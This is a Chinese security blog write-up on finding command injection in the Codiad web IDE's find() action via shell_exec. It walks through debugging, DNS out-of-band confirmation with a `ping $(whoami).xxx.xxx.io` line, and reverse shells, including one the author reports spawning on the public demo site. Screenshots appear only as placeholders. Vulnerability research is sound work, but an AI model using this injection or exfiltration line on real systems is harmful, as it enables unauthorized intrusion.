快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

Codiad在线IDE框架漏洞挖掘

简介 :

Codiad 是一个开源基于Web的IDE应用程序,用于在线编写以及编辑代码。

仓库 :

https://github.com/Codiad/Codiad

环境搭建 :

通过phpstudy搭建基础,工控黑客 ,并开启Xdebug 。

可参考https://blog.csdn.net/flyingdream123/article/details/69358819进行环境设置。

漏洞挖掘过程:

通过cve漏洞库对Codiad以往漏洞进行查询,发现该框架对shell_exec()函数的处理上曾多次出现问题,将针对点锁定在了对该函数的调用上。

Clipboard Image.png
Clipboard Image.png

上一个版本中该处出现了命令执行漏洞,官网可能已经修补,先不考虑。

锁定find()函数调用

Clipboard Image.png

$cmd 参数由$input 配置

$input由$this->query配置

Clipboard Image.png

this->query参数通过get传参获取

查找对find()调用的地位

Clipboard Image.png
Clipboard Image.png

Clipboard Image.png

尝试更改action参数值为find并动态调试观察

Clipboard Image.png

在进入action判定前,对path参数进行了判断,所有此时一定要注意你当前目录的名字

Clipboard Image.png

走到这里之后,通过shell_exec执行拼接好的操作,我们可以清楚的看见此时我们组织query参数被””包含着,参考上一个代码执行漏洞的说明,在调用escapeshellarg函数对传入参数进行处理后,要是有””包含着,则仍旧可以进行命令执行。

Clipboard Image.png

通过现有判定,我们最先组织payload,因为组织参数为Linux下,因而不得不最先搭建linux实验环境,参考http://www.freebuf.com/articles/web/141788.html进行linux环境搭建

Clipboard Image.png

将没有查询效果时返归信息修改成执行的$cmd

$this->message = $cmd; 便于我们查看执行的命令

采用dns外带查询判定是否有命令执行存在
Clipboard Image.png

需注意在“ 中再执行子命令应该使用$()执行
Clipboard Image.png

由此确定了该参数确凿存在命令执行漏洞。

现在尝试反弹一下shell

服务器关上监听

Clipboard Image.png
Clipboard Image.png

Clipboard Image.png

发现shell成功反弹。

对demo站进行尝试。

Clipboard Image.png

执行语句后,无shell返归,尝试一下其它命令

`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,仍旧能够得到信息,证实命令执行是存在的,

考虑是否是存在其它制约。

Clipboard Image.png

最先尝试一下其它反弹shell的payload.

对网上payload进行了一一尝试

成功反弹shell,中间还有种种尝试,如wget写文件等等

Clipboard Image.png

Clipboard Image.png

白盒时发现,内容并没有成功写入文件中,中间还触及种种权限问题。收获蛮多,新手投稿,希翼大佬们多指教。

*

您可能还会对下面的文章感兴趣: